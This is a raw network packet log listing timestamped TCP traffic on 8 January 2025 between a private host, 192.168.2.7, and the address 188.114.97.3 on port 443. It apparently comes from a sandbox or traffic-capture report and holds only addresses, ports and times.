Jan 8, 2025 13:55:09.420777082 CET	443	49706	188.114.97.3	192.168.2.7
Jan 8, 2025 13:55:09.420804977 CET	49706	443	192.168.2.7	188.114.97.3
Jan 8, 2025 13:55:09.420825958 CET	49706	443	192.168.2.7	188.114.97.3
Jan 8, 2025 13:55:09.421580076 CET	443	49706	188.114.97.3	192.168.2.7
Jan 8, 2025 13:55:09.421639919 CET	443	49706	188.114.97.3	192.168.2.7
Jan 8, 2025 13:55:09.421642065 CET	49706	443	192.168.2.7	188.114.97.3
Jan 8, 2025 13:55:09.421649933 CET	443	49706	188.114.97.3	192.168.2.7
Jan 8, 2025 13:55:09.421700001 CET	49706	443	192.168.2.7	188.114.97.3
Jan 8, 2025 13:55:09.425983906 CET	443	49706	188.114.97.3	192.168.2.7
Jan 8, 2025 13:55:09.426032066 CET	443	49706	188.114.97.3	192.168.2.7
Jan 8, 2025 13:55:09.426153898 CET	443	49706	188.114.97.3	192.168.2.7
Jan 8, 2025 13:55:09.426219940 CET	49706	443	192.168.2.7	188.114.97.3
Jan 8, 2025 13:55:09.426219940 CET	49706	443	192.168.2.7	188.114.97.3
Jan 8, 2025 13:55:09.426219940 CET	49706	443	192.168.2.7	188.114.97.3
Jan 8, 2025 13:55:09.426230907 CET	443	49706	188.114.97.3	192.168.2.7
Jan 8, 2025 13:55:09.426425934 CET	49706	443	192.168.2.7	188.114.97.3
Jan 8, 2025 13:55:09.428678036 CET	443	49706	188.114.97.3	192.168.2.7
Jan 8, 2025 13:55:09.428713083 CET	443	49706	188.114.97.3	192.168.2.7
Jan 8, 2025 13:55:09.428749084 CET	49706	443	192.168.2.7	188.114.97.3
Jan 8, 2025 13:55:09.428756952 CET	443	49706	188.114.97.3	192.168.2.7
Jan 8, 2025 13:55:09.428769112 CET	49706	443	192.168.2.7	188.114.97.3
Jan 8, 2025 13:55:09.434971094 CET	443	49706	188.114.97.3	192.168.2.7
Jan 8, 2025 13:55:09.435003996 CET	443	49706	188.114.97.3	192.168.2.7
Jan 8, 2025 13:55:09.435031891 CET	49706	443	192.168.2.7	188.114.97.3
Jan 8, 2025 13:55:09.435034990 CET	443	49706	188.114.97.3	192.168.2.7
Jan 8, 2025 13:55:09.435045958 CET	443	49706	188.114.97.3	192.168.2.7
Jan 8, 2025 13:55:09.435067892 CET	49706	443	192.168.2.7	188.114.97.3
Jan 8, 2025 13:55:09.435091019 CET	49706	443	192.168.2.7	188.114.97.3
Jan 8, 2025 13:55:09.438308954 CET	443	49706	188.114.97.3	192.168.2.7
Jan 8, 2025 13:55:09.438349009 CET	443	49706	188.114.97.3	192.168.2.7
Jan 8, 2025 13:55:09.438354969 CET	49706	443	192.168.2.7	188.114.97.3
Jan 8, 2025 13:55:09.438361883 CET	443	49706	188.114.97.3	192.168.2.7
Jan 8, 2025 13:55:09.438380957 CET	443	49706	188.114.97.3	192.168.2.7
Jan 8, 2025 13:55:09.438388109 CET	49706	443	192.168.2.7	188.114.97.3
Jan 8, 2025 13:55:09.438433886 CET	49706	443	192.168.2.7	188.114.97.3
Jan 8, 2025 13:55:09.438441038 CET	443	49706	188.114.97.3	192.168.2.7
Jan 8, 2025 13:55:09.440999985 CET	443	49706	188.114.97.3	192.168.2.7
Jan 8, 2025 13:55:09.441060066 CET	49706	443	192.168.2.7	188.114.97.3
Jan 8, 2025 13:55:09.441068888 CET	443	49706	188.114.97.3	192.168.2.7
Jan 8, 2025 13:55:09.441188097 CET	443	49706	188.114.97.3	192.168.2.7
Jan 8, 2025 13:55:09.441224098 CET	443	49706	188.114.97.3	192.168.2.7
Jan 8, 2025 13:55:09.441239119 CET	49706	443	192.168.2.7	188.114.97.3
Jan 8, 2025 13:55:09.441247940 CET	443	49706	188.114.97.3	192.168.2.7
Jan 8, 2025 13:55:09.441260099 CET	443	49706	188.114.97.3	192.168.2.7
Jan 8, 2025 13:55:09.441281080 CET	49706	443	192.168.2.7	188.114.97.3
Jan 8, 2025 13:55:09.441304922 CET	49706	443	192.168.2.7	188.114.97.3
Jan 8, 2025 13:55:09.441310883 CET	443	49706	188.114.97.3	192.168.2.7
Jan 8, 2025 13:55:09.463685989 CET	443	49706	188.114.97.3	192.168.2.7
Jan 8, 2025 13:55:09.463737011 CET	443	49706	188.114.97.3	192.168.2.7
Jan 8, 2025 13:55:09.463742018 CET	49706	443	192.168.2.7	188.114.97.3
Jan 8, 2025 13:55:09.463757992 CET	443	49706	188.114.97.3	192.168.2.7
Jan 8, 2025 13:55:09.463778973 CET	443	49706	188.114.97.3	192.168.2.7
Jan 8, 2025 13:55:09.463794947 CET	443	49706	188.114.97.3	192.168.2.7
Jan 8, 2025 13:55:09.463819981 CET	49706	443	192.168.2.7	188.114.97.3
Jan 8, 2025 13:55:09.463826895 CET	443	49706	188.114.97.3	192.168.2.7
Jan 8, 2025 13:55:09.463843107 CET	49706	443	192.168.2.7	188.114.97.3
Jan 8, 2025 13:55:09.463846922 CET	443	49706	188.114.97.3	192.168.2.7
Jan 8, 2025 13:55:09.463900089 CET	49706	443	192.168.2.7	188.114.97.3
Jan 8, 2025 13:55:09.463907003 CET	443	49706	188.114.97.3	192.168.2.7
Jan 8, 2025 13:55:09.464746952 CET	443	49706	188.114.97.3	192.168.2.7
Jan 8, 2025 13:55:09.464797974 CET	49706	443	192.168.2.7	188.114.97.3
Jan 8, 2025 13:55:09.464807987 CET	443	49706	188.114.97.3	192.168.2.7
Jan 8, 2025 13:55:09.464896917 CET	443	49706	188.114.97.3	192.168.2.7
Jan 8, 2025 13:55:09.464955091 CET	49706	443	192.168.2.7	188.114.97.3
Jan 8, 2025 13:55:09.464962959 CET	443	49706	188.114.97.3	192.168.2.7
Jan 8, 2025 13:55:09.477767944 CET	443	49706	188.114.97.3	192.168.2.7
Jan 8, 2025 13:55:09.477832079 CET	49706	443	192.168.2.7	188.114.97.3
Jan 8, 2025 13:55:09.477843046 CET	443	49706	188.114.97.3	192.168.2.7
Jan 8, 2025 13:55:09.477858067 CET	443	49706	188.114.97.3	192.168.2.7
Jan 8, 2025 13:55:09.477886915 CET	443	49706	188.114.97.3	192.168.2.7
Jan 8, 2025 13:55:09.477911949 CET	49706	443	192.168.2.7	188.114.97.3
Jan 8, 2025 13:55:09.477920055 CET	443	49706	188.114.97.3	192.168.2.7
Jan 8, 2025 13:55:09.477951050 CET	49706	443	192.168.2.7	188.114.97.3
Jan 8, 2025 13:55:09.491522074 CET	443	49706	188.114.97.3	192.168.2.7
Jan 8, 2025 13:55:09.491542101 CET	443	49706	188.114.97.3	192.168.2.7
Jan 8, 2025 13:55:09.491595030 CET	49706	443	192.168.2.7	188.114.97.3
Jan 8, 2025 13:55:09.491627932 CET	443	49706	188.114.97.3	192.168.2.7
Jan 8, 2025 13:55:09.491642952 CET	49706	443	192.168.2.7	188.114.97.3
Jan 8, 2025 13:55:09.491691113 CET	443	49706	188.114.97.3	192.168.2.7
Jan 8, 2025 13:55:09.491739035 CET	49706	443	192.168.2.7	188.114.97.3
Jan 8, 2025 13:55:09.491749048 CET	443	49706	188.114.97.3	192.168.2.7
Jan 8, 2025 13:55:09.491794109 CET	49706	443	192.168.2.7	188.114.97.3
Jan 8, 2025 13:55:09.491976023 CET	443	49706	188.114.97.3	192.168.2.7
Jan 8, 2025 13:55:09.492047071 CET	49706	443	192.168.2.7	188.114.97.3
Jan 8, 2025 13:55:09.499371052 CET	443	49706	188.114.97.3	192.168.2.7
Jan 8, 2025 13:55:09.499398947 CET	443	49706	188.114.97.3	192.168.2.7
Jan 8, 2025 13:55:09.499428034 CET	49706	443	192.168.2.7	188.114.97.3
Jan 8, 2025 13:55:09.499435902 CET	443	49706	188.114.97.3	192.168.2.7
Jan 8, 2025 13:55:09.499459028 CET	49706	443	192.168.2.7	188.114.97.3
Jan 8, 2025 13:55:09.501903057 CET	443	49706	188.114.97.3	192.168.2.7
Jan 8, 2025 13:55:09.501934052 CET	443	49706	188.114.97.3	192.168.2.7
Jan 8, 2025 13:55:09.501955032 CET	49706	443	192.168.2.7	188.114.97.3
Jan 8, 2025 13:55:09.501964092 CET	443	49706	188.114.97.3	192.168.2.7
Jan 8, 2025 13:55:09.501993895 CET	49706	443	192.168.2.7	188.114.97.3
Jan 8, 2025 13:55:09.502002954 CET	49706	443	192.168.2.7	188.114.97.3
Jan 8, 2025 13:55:09.513818979 CET	443	49706	188.114.97.3	192.168.2.7
Jan 8, 2025 13:55:09.513887882 CET	49706	443	192.168.2.7	188.114.97.3
Jan 8, 2025 13:55:09.514142036 CET	443	49706	188.114.97.3	192.168.2.7
Jan 8, 2025 13:55:09.514209986 CET	49706	443	192.168.2.7	188.114.97.3
Jan 8, 2025 13:55:09.514633894 CET	443	49706	188.114.97.3	192.168.2.7
Jan 8, 2025 13:55:09.514688015 CET	49706	443	192.168.2.7	188.114.97.3
Jan 8, 2025 13:55:09.515038967 CET	443	49706	188.114.97.3	192.168.2.7
Jan 8, 2025 13:55:09.515098095 CET	49706	443	192.168.2.7	188.114.97.3
Jan 8, 2025 13:55:09.527121067 CET	443	49706	188.114.97.3	192.168.2.7
Jan 8, 2025 13:55:09.527178049 CET	49706	443	192.168.2.7	188.114.97.3
Jan 8, 2025 13:55:09.527179956 CET	443	49706	188.114.97.3	192.168.2.7
Jan 8, 2025 13:55:09.527199984 CET	443	49706	188.114.97.3	192.168.2.7
Jan 8, 2025 13:55:09.527235985 CET	49706	443	192.168.2.7	188.114.97.3
Jan 8, 2025 13:55:09.527509928 CET	443	49706	188.114.97.3	192.168.2.7
Jan 8, 2025 13:55:09.527563095 CET	443	49706	188.114.97.3	192.168.2.7
Jan 8, 2025 13:55:09.527566910 CET	49706	443	192.168.2.7	188.114.97.3
Jan 8, 2025 13:55:09.527578115 CET	443	49706	188.114.97.3	192.168.2.7
Jan 8, 2025 13:55:09.527612925 CET	49706	443	192.168.2.7	188.114.97.3
Jan 8, 2025 13:55:09.530538082 CET	443	49706	188.114.97.3	192.168.2.7
Jan 8, 2025 13:55:09.530603886 CET	49706	443	192.168.2.7	188.114.97.3
Jan 8, 2025 13:55:09.531121016 CET	443	49706	188.114.97.3	192.168.2.7
Jan 8, 2025 13:55:09.531214952 CET	49706	443	192.168.2.7	188.114.97.3
Jan 8, 2025 13:55:09.534044981 CET	443	49706	188.114.97.3	192.168.2.7
Jan 8, 2025 13:55:09.534127951 CET	49706	443	192.168.2.7	188.114.97.3
Jan 8, 2025 13:55:09.556123972 CET	443	49706	188.114.97.3	192.168.2.7
Jan 8, 2025 13:55:09.556194067 CET	49706	443	192.168.2.7	188.114.97.3
Jan 8, 2025 13:55:09.556289911 CET	443	49706	188.114.97.3	192.168.2.7
Jan 8, 2025 13:55:09.556343079 CET	49706	443	192.168.2.7	188.114.97.3
Jan 8, 2025 13:55:09.556904078 CET	443	49706	188.114.97.3	192.168.2.7
Jan 8, 2025 13:55:09.556978941 CET	49706	443	192.168.2.7	188.114.97.3
Jan 8, 2025 13:55:09.569926023 CET	443	49706	188.114.97.3	192.168.2.7
Jan 8, 2025 13:55:09.569964886 CET	443	49706	188.114.97.3	192.168.2.7
Jan 8, 2025 13:55:09.570012093 CET	49706	443	192.168.2.7	188.114.97.3
Jan 8, 2025 13:55:09.570022106 CET	443	49706	188.114.97.3	192.168.2.7
Jan 8, 2025 13:55:09.570060968 CET	49706	443	192.168.2.7	188.114.97.3
Jan 8, 2025 13:55:09.583456993 CET	443	49706	188.114.97.3	192.168.2.7
Jan 8, 2025 13:55:09.583493948 CET	443	49706	188.114.97.3	192.168.2.7
Jan 8, 2025 13:55:09.583542109 CET	49706	443	192.168.2.7	188.114.97.3
Jan 8, 2025 13:55:09.583551884 CET	443	49706	188.114.97.3	192.168.2.7
Jan 8, 2025 13:55:09.583602905 CET	49706	443	192.168.2.7	188.114.97.3
Jan 8, 2025 13:55:09.583847046 CET	443	49706	188.114.97.3	192.168.2.7
Jan 8, 2025 13:55:09.583900928 CET	49706	443	192.168.2.7	188.114.97.3
Jan 8, 2025 13:55:09.584445953 CET	443	49706	188.114.97.3	192.168.2.7
Jan 8, 2025 13:55:09.584507942 CET	443	49706	188.114.97.3	192.168.2.7
Jan 8, 2025 13:55:09.584516048 CET	49706	443	192.168.2.7	188.114.97.3
Jan 8, 2025 13:55:09.584523916 CET	443	49706	188.114.97.3	192.168.2.7
Jan 8, 2025 13:55:09.584574938 CET	49706	443	192.168.2.7	188.114.97.3
Jan 8, 2025 13:55:09.590760946 CET	443	49706	188.114.97.3	192.168.2.7
Jan 8, 2025 13:55:09.590828896 CET	49706	443	192.168.2.7	188.114.97.3
Jan 8, 2025 13:55:09.594223022 CET	443	49706	188.114.97.3	192.168.2.7
Jan 8, 2025 13:55:09.594281912 CET	49706	443	192.168.2.7	188.114.97.3
Jan 8, 2025 13:55:09.594360113 CET	443	49706	188.114.97.3	192.168.2.7
Jan 8, 2025 13:55:09.594413996 CET	49706	443	192.168.2.7	188.114.97.3
Jan 8, 2025 13:55:09.606515884 CET	443	49706	188.114.97.3	192.168.2.7
Jan 8, 2025 13:55:09.606575012 CET	443	49706	188.114.97.3	192.168.2.7
Jan 8, 2025 13:55:09.606592894 CET	49706	443	192.168.2.7	188.114.97.3
Jan 8, 2025 13:55:09.606600046 CET	443	49706	188.114.97.3	192.168.2.7
Jan 8, 2025 13:55:09.606630087 CET	49706	443	192.168.2.7	188.114.97.3
Jan 8, 2025 13:55:09.606653929 CET	49706	443	192.168.2.7	188.114.97.3
Jan 8, 2025 13:55:09.607089043 CET	443	49706	188.114.97.3	192.168.2.7
Jan 8, 2025 13:55:09.607161045 CET	49706	443	192.168.2.7	188.114.97.3
Jan 8, 2025 13:55:09.610069990 CET	443	49706	188.114.97.3	192.168.2.7
Jan 8, 2025 13:55:09.610140085 CET	49706	443	192.168.2.7	188.114.97.3
Jan 8, 2025 13:55:09.619180918 CET	443	49706	188.114.97.3	192.168.2.7
Jan 8, 2025 13:55:09.619247913 CET	49706	443	192.168.2.7	188.114.97.3
Jan 8, 2025 13:55:09.619486094 CET	443	49706	188.114.97.3	192.168.2.7
Jan 8, 2025 13:55:09.619545937 CET	49706	443	192.168.2.7	188.114.97.3
Jan 8, 2025 13:55:09.623191118 CET	443	49706	188.114.97.3	192.168.2.7
Jan 8, 2025 13:55:09.623239994 CET	443	49706	188.114.97.3	192.168.2.7
Jan 8, 2025 13:55:09.623271942 CET	49706	443	192.168.2.7	188.114.97.3
Jan 8, 2025 13:55:09.623280048 CET	443	49706	188.114.97.3	192.168.2.7
Jan 8, 2025 13:55:09.623326063 CET	49706	443	192.168.2.7	188.114.97.3
Jan 8, 2025 13:55:09.623745918 CET	443	49706	188.114.97.3	192.168.2.7
Jan 8, 2025 13:55:09.623825073 CET	49706	443	192.168.2.7	188.114.97.3
Jan 8, 2025 13:55:09.648233891 CET	443	49706	188.114.97.3	192.168.2.7
Jan 8, 2025 13:55:09.648252010 CET	443	49706	188.114.97.3	192.168.2.7
Jan 8, 2025 13:55:09.648314953 CET	49706	443	192.168.2.7	188.114.97.3
Jan 8, 2025 13:55:09.648329973 CET	443	49706	188.114.97.3	192.168.2.7
Jan 8, 2025 13:55:09.648374081 CET	49706	443	192.168.2.7	188.114.97.3
Jan 8, 2025 13:55:09.649344921 CET	443	49706	188.114.97.3	192.168.2.7
Jan 8, 2025 13:55:09.649363041 CET	443	49706	188.114.97.3	192.168.2.7
Jan 8, 2025 13:55:09.649471998 CET	49706	443	192.168.2.7	188.114.97.3
Jan 8, 2025 13:55:09.649481058 CET	443	49706	188.114.97.3	192.168.2.7
Jan 8, 2025 13:55:09.649523973 CET	49706	443	192.168.2.7	188.114.97.3
Jan 8, 2025 13:55:09.675878048 CET	443	49706	188.114.97.3	192.168.2.7
Jan 8, 2025 13:55:09.675936937 CET	443	49706	188.114.97.3	192.168.2.7
Jan 8, 2025 13:55:09.675952911 CET	49706	443	192.168.2.7	188.114.97.3
Jan 8, 2025 13:55:09.675962925 CET	443	49706	188.114.97.3	192.168.2.7
Jan 8, 2025 13:55:09.676018000 CET	49706	443	192.168.2.7	188.114.97.3
Jan 8, 2025 13:55:09.677170038 CET	443	49706	188.114.97.3	192.168.2.7
Jan 8, 2025 13:55:09.677189112 CET	443	49706	188.114.97.3	192.168.2.7
Jan 8, 2025 13:55:09.677233934 CET	49706	443	192.168.2.7	188.114.97.3
Jan 8, 2025 13:55:09.677241087 CET	443	49706	188.114.97.3	192.168.2.7
Jan 8, 2025 13:55:09.677283049 CET	49706	443	192.168.2.7	188.114.97.3
Jan 8, 2025 13:55:09.677297115 CET	49706	443	192.168.2.7	188.114.97.3
Jan 8, 2025 13:55:09.682401896 CET	443	49706	188.114.97.3	192.168.2.7
Jan 8, 2025 13:55:09.682463884 CET	49706	443	192.168.2.7	188.114.97.3
Jan 8, 2025 13:55:09.685894966 CET	443	49706	188.114.97.3	192.168.2.7
Jan 8, 2025 13:55:09.685970068 CET	49706	443	192.168.2.7	188.114.97.3
Jan 8, 2025 13:55:09.686058998 CET	443	49706	188.114.97.3	192.168.2.7
Jan 8, 2025 13:55:09.686136961 CET	49706	443	192.168.2.7	188.114.97.3
Jan 8, 2025 13:55:09.698260069 CET	443	49706	188.114.97.3	192.168.2.7
Jan 8, 2025 13:55:09.698321104 CET	49706	443	192.168.2.7	188.114.97.3
Jan 8, 2025 13:55:09.698900938 CET	443	49706	188.114.97.3	192.168.2.7
Jan 8, 2025 13:55:09.698986053 CET	49706	443	192.168.2.7	188.114.97.3
Jan 8, 2025 13:55:09.711891890 CET	443	49706	188.114.97.3	192.168.2.7
Jan 8, 2025 13:55:09.711908102 CET	443	49706	188.114.97.3	192.168.2.7
Jan 8, 2025 13:55:09.711977005 CET	49706	443	192.168.2.7	188.114.97.3
Jan 8, 2025 13:55:09.711986065 CET	443	49706	188.114.97.3	192.168.2.7
Jan 8, 2025 13:55:09.715639114 CET	443	49706	188.114.97.3	192.168.2.7
Jan 8, 2025 13:55:09.715676069 CET	443	49706	188.114.97.3	192.168.2.7
Jan 8, 2025 13:55:09.715704918 CET	49706	443	192.168.2.7	188.114.97.3
Jan 8, 2025 13:55:09.715713978 CET	443	49706	188.114.97.3	192.168.2.7
Jan 8, 2025 13:55:09.715759993 CET	49706	443	192.168.2.7	188.114.97.3
Jan 8, 2025 13:55:09.718276978 CET	443	49706	188.114.97.3	192.168.2.7
Jan 8, 2025 13:55:09.718301058 CET	443	49706	188.114.97.3	192.168.2.7
Jan 8, 2025 13:55:09.718329906 CET	443	49706	188.114.97.3	192.168.2.7
Jan 8, 2025 13:55:09.718357086 CET	49706	443	192.168.2.7	188.114.97.3
Jan 8, 2025 13:55:09.718364000 CET	443	49706	188.114.97.3	192.168.2.7
Jan 8, 2025 13:55:09.718398094 CET	49706	443	192.168.2.7	188.114.97.3
Jan 8, 2025 13:55:09.740720987 CET	443	49706	188.114.97.3	192.168.2.7
Jan 8, 2025 13:55:09.740792036 CET	49706	443	192.168.2.7	188.114.97.3
Jan 8, 2025 13:55:09.740806103 CET	443	49706	188.114.97.3	192.168.2.7
Jan 8, 2025 13:55:09.741244078 CET	443	49706	188.114.97.3	192.168.2.7
Jan 8, 2025 13:55:09.741302013 CET	49706	443	192.168.2.7	188.114.97.3
Jan 8, 2025 13:55:09.741309881 CET	443	49706	188.114.97.3	192.168.2.7
Jan 8, 2025 13:55:09.741679907 CET	443	49706	188.114.97.3	192.168.2.7
Jan 8, 2025 13:55:09.741738081 CET	49706	443	192.168.2.7	188.114.97.3
Jan 8, 2025 13:55:09.741745949 CET	443	49706	188.114.97.3	192.168.2.7
Jan 8, 2025 13:55:09.741755962 CET	443	49706	188.114.97.3	192.168.2.7
Jan 8, 2025 13:55:09.741797924 CET	49706	443	192.168.2.7	188.114.97.3
Jan 8, 2025 13:55:09.741806030 CET	443	49706	188.114.97.3	192.168.2.7
Jan 8, 2025 13:55:09.754782915 CET	443	49706	188.114.97.3	192.168.2.7
Jan 8, 2025 13:55:09.754848003 CET	49706	443	192.168.2.7	188.114.97.3
Jan 8, 2025 13:55:09.754857063 CET	443	49706	188.114.97.3	192.168.2.7
Jan 8, 2025 13:55:09.754900932 CET	49706	443	192.168.2.7	188.114.97.3
Jan 8, 2025 13:55:09.772898912 CET	443	49706	188.114.97.3	192.168.2.7
Jan 8, 2025 13:55:09.772947073 CET	443	49706	188.114.97.3	192.168.2.7
Jan 8, 2025 13:55:09.772970915 CET	49706	443	192.168.2.7	188.114.97.3
Jan 8, 2025 13:55:09.772983074 CET	443	49706	188.114.97.3	192.168.2.7
Jan 8, 2025 13:55:09.773020983 CET	49706	443	192.168.2.7	188.114.97.3
Jan 8, 2025 13:55:09.773042917 CET	49706	443	192.168.2.7	188.114.97.3
Jan 8, 2025 13:55:09.773380995 CET	443	49706	188.114.97.3	192.168.2.7
Jan 8, 2025 13:55:09.773446083 CET	49706	443	192.168.2.7	188.114.97.3
Jan 8, 2025 13:55:09.775926113 CET	443	49706	188.114.97.3	192.168.2.7
Jan 8, 2025 13:55:09.775974035 CET	443	49706	188.114.97.3	192.168.2.7
Jan 8, 2025 13:55:09.775991917 CET	49706	443	192.168.2.7	188.114.97.3
Jan 8, 2025 13:55:09.776000023 CET	443	49706	188.114.97.3	192.168.2.7
Jan 8, 2025 13:55:09.776026964 CET	49706	443	192.168.2.7	188.114.97.3
Jan 8, 2025 13:55:09.779933929 CET	443	49706	188.114.97.3	192.168.2.7
Jan 8, 2025 13:55:09.780004025 CET	49706	443	192.168.2.7	188.114.97.3
Jan 8, 2025 13:55:09.780011892 CET	443	49706	188.114.97.3	192.168.2.7
Jan 8, 2025 13:55:09.791034937 CET	443	49706	188.114.97.3	192.168.2.7
Jan 8, 2025 13:55:09.791054964 CET	443	49706	188.114.97.3	192.168.2.7
Jan 8, 2025 13:55:09.791100979 CET	49706	443	192.168.2.7	188.114.97.3
Jan 8, 2025 13:55:09.791111946 CET	443	49706	188.114.97.3	192.168.2.7
Jan 8, 2025 13:55:09.791146994 CET	49706	443	192.168.2.7	188.114.97.3
Jan 8, 2025 13:55:09.794769049 CET	443	49706	188.114.97.3	192.168.2.7
Jan 8, 2025 13:55:09.794830084 CET	49706	443	192.168.2.7	188.114.97.3
Jan 8, 2025 13:55:09.794837952 CET	443	49706	188.114.97.3	192.168.2.7
Jan 8, 2025 13:55:09.794881105 CET	49706	443	192.168.2.7	188.114.97.3
Jan 8, 2025 13:55:09.808151960 CET	443	49706	188.114.97.3	192.168.2.7
Jan 8, 2025 13:55:09.808167934 CET	443	49706	188.114.97.3	192.168.2.7
Jan 8, 2025 13:55:09.808235884 CET	49706	443	192.168.2.7	188.114.97.3
Jan 8, 2025 13:55:09.808253050 CET	443	49706	188.114.97.3	192.168.2.7
Jan 8, 2025 13:55:09.808305025 CET	49706	443	192.168.2.7	188.114.97.3
Jan 8, 2025 13:55:09.808875084 CET	443	49706	188.114.97.3	192.168.2.7
Jan 8, 2025 13:55:09.808943987 CET	49706	443	192.168.2.7	188.114.97.3
Jan 8, 2025 13:55:09.808950901 CET	443	49706	188.114.97.3	192.168.2.7
Jan 8, 2025 13:55:09.833148003 CET	443	49706	188.114.97.3	192.168.2.7
Jan 8, 2025 13:55:09.833168030 CET	443	49706	188.114.97.3	192.168.2.7
Jan 8, 2025 13:55:09.833259106 CET	49706	443	192.168.2.7	188.114.97.3
Jan 8, 2025 13:55:09.833281994 CET	443	49706	188.114.97.3	192.168.2.7
Jan 8, 2025 13:55:09.834292889 CET	443	49706	188.114.97.3	192.168.2.7
Jan 8, 2025 13:55:09.834309101 CET	443	49706	188.114.97.3	192.168.2.7
Jan 8, 2025 13:55:09.834355116 CET	443	49706	188.114.97.3	192.168.2.7
Jan 8, 2025 13:55:09.834361076 CET	49706	443	192.168.2.7	188.114.97.3
Jan 8, 2025 13:55:09.834371090 CET	443	49706	188.114.97.3	192.168.2.7
Jan 8, 2025 13:55:09.834405899 CET	49706	443	192.168.2.7	188.114.97.3
Jan 8, 2025 13:55:09.865220070 CET	443	49706	188.114.97.3	192.168.2.7
Jan 8, 2025 13:55:09.865267992 CET	443	49706	188.114.97.3	192.168.2.7
Jan 8, 2025 13:55:09.865304947 CET	49706	443	192.168.2.7	188.114.97.3
Jan 8, 2025 13:55:09.865324020 CET	443	49706	188.114.97.3	192.168.2.7
Jan 8, 2025 13:55:09.865355015 CET	49706	443	192.168.2.7	188.114.97.3
Jan 8, 2025 13:55:09.865716934 CET	443	49706	188.114.97.3	192.168.2.7
Jan 8, 2025 13:55:09.865757942 CET	443	49706	188.114.97.3	192.168.2.7
Jan 8, 2025 13:55:09.865780115 CET	49706	443	192.168.2.7	188.114.97.3
Jan 8, 2025 13:55:09.865787029 CET	443	49706	188.114.97.3	192.168.2.7
Jan 8, 2025 13:55:09.865878105 CET	49706	443	192.168.2.7	188.114.97.3
Jan 8, 2025 13:55:09.866708040 CET	443	49706	188.114.97.3	192.168.2.7
Jan 8, 2025 13:55:09.866776943 CET	49706	443	192.168.2.7	188.114.97.3
Jan 8, 2025 13:55:09.868479013 CET	443	49706	188.114.97.3	192.168.2.7
Jan 8, 2025 13:55:09.868535042 CET	443	49706	188.114.97.3	192.168.2.7
Jan 8, 2025 13:55:09.868551016 CET	49706	443	192.168.2.7	188.114.97.3
Jan 8, 2025 13:55:09.868557930 CET	443	49706	188.114.97.3	192.168.2.7
Jan 8, 2025 13:55:09.868624926 CET	49706	443	192.168.2.7	188.114.97.3
Jan 8, 2025 13:55:09.872086048 CET	443	49706	188.114.97.3	192.168.2.7
Jan 8, 2025 13:55:09.872155905 CET	49706	443	192.168.2.7	188.114.97.3
Jan 8, 2025 13:55:09.905263901 CET	443	49706	188.114.97.3	192.168.2.7
Jan 8, 2025 13:55:09.905340910 CET	49706	443	192.168.2.7	188.114.97.3
Jan 8, 2025 13:55:09.905776978 CET	443	49706	188.114.97.3	192.168.2.7
Jan 8, 2025 13:55:09.905836105 CET	49706	443	192.168.2.7	188.114.97.3
Jan 8, 2025 13:55:09.908310890 CET	443	49706	188.114.97.3	192.168.2.7
Jan 8, 2025 13:55:09.908394098 CET	49706	443	192.168.2.7	188.114.97.3
Jan 8, 2025 13:55:09.908616066 CET	443	49706	188.114.97.3	192.168.2.7
Jan 8, 2025 13:55:09.908684015 CET	49706	443	192.168.2.7	188.114.97.3
Jan 8, 2025 13:55:09.909204960 CET	443	49706	188.114.97.3	192.168.2.7
Jan 8, 2025 13:55:09.909264088 CET	49706	443	192.168.2.7	188.114.97.3
Jan 8, 2025 13:55:09.909843922 CET	443	49706	188.114.97.3	192.168.2.7
Jan 8, 2025 13:55:09.909902096 CET	49706	443	192.168.2.7	188.114.97.3
Jan 8, 2025 13:55:09.909914970 CET	443	49706	188.114.97.3	192.168.2.7
Jan 8, 2025 13:55:09.909930944 CET	443	49706	188.114.97.3	192.168.2.7
Jan 8, 2025 13:55:09.909960985 CET	49706	443	192.168.2.7	188.114.97.3
Jan 8, 2025 13:55:09.909960985 CET	443	49706	188.114.97.3	192.168.2.7
Jan 8, 2025 13:55:09.909972906 CET	443	49706	188.114.97.3	192.168.2.7
Jan 8, 2025 13:55:09.910011053 CET	49706	443	192.168.2.7	188.114.97.3
Jan 8, 2025 13:55:09.910685062 CET	443	49706	188.114.97.3	192.168.2.7
Jan 8, 2025 13:55:09.910727978 CET	49706	443	192.168.2.7	188.114.97.3
Jan 8, 2025 13:55:09.926461935 CET	443	49706	188.114.97.3	192.168.2.7
Jan 8, 2025 13:55:09.926484108 CET	443	49706	188.114.97.3	192.168.2.7
Jan 8, 2025 13:55:09.926548958 CET	49706	443	192.168.2.7	188.114.97.3
Jan 8, 2025 13:55:09.926577091 CET	443	49706	188.114.97.3	192.168.2.7
Jan 8, 2025 13:55:09.926626921 CET	443	49706	188.114.97.3	192.168.2.7
Jan 8, 2025 13:55:09.926683903 CET	49706	443	192.168.2.7	188.114.97.3
Jan 8, 2025 13:55:09.926692009 CET	443	49706	188.114.97.3	192.168.2.7
Jan 8, 2025 13:55:09.949925900 CET	443	49706	188.114.97.3	192.168.2.7
Jan 8, 2025 13:55:09.950014114 CET	49706	443	192.168.2.7	188.114.97.3
Jan 8, 2025 13:55:09.950030088 CET	443	49706	188.114.97.3	192.168.2.7
Jan 8, 2025 13:55:09.960051060 CET	443	49706	188.114.97.3	192.168.2.7
Jan 8, 2025 13:55:09.960131884 CET	49706	443	192.168.2.7	188.114.97.3
Jan 8, 2025 13:55:09.960133076 CET	443	49706	188.114.97.3	192.168.2.7
Jan 8, 2025 13:55:09.960145950 CET	443	49706	188.114.97.3	192.168.2.7
Jan 8, 2025 13:55:09.960187912 CET	49706	443	192.168.2.7	188.114.97.3
Jan 8, 2025 13:55:09.961055040 CET	443	49706	188.114.97.3	192.168.2.7
Jan 8, 2025 13:55:09.961127043 CET	49706	443	192.168.2.7	188.114.97.3
Jan 8, 2025 13:55:09.964152098 CET	443	49706	188.114.97.3	192.168.2.7
Jan 8, 2025 13:55:09.964221001 CET	49706	443	192.168.2.7	188.114.97.3
Jan 8, 2025 13:55:09.964230061 CET	443	49706	188.114.97.3	192.168.2.7
Jan 8, 2025 13:55:09.997528076 CET	443	49706	188.114.97.3	192.168.2.7
Jan 8, 2025 13:55:09.997544050 CET	443	49706	188.114.97.3	192.168.2.7
Jan 8, 2025 13:55:09.997631073 CET	49706	443	192.168.2.7	188.114.97.3
Jan 8, 2025 13:55:09.997646093 CET	443	49706	188.114.97.3	192.168.2.7
Jan 8, 2025 13:55:09.997684002 CET	443	49706	188.114.97.3	192.168.2.7
Jan 8, 2025 13:55:09.997718096 CET	443	49706	188.114.97.3	192.168.2.7
Jan 8, 2025 13:55:09.997740030 CET	49706	443	192.168.2.7	188.114.97.3
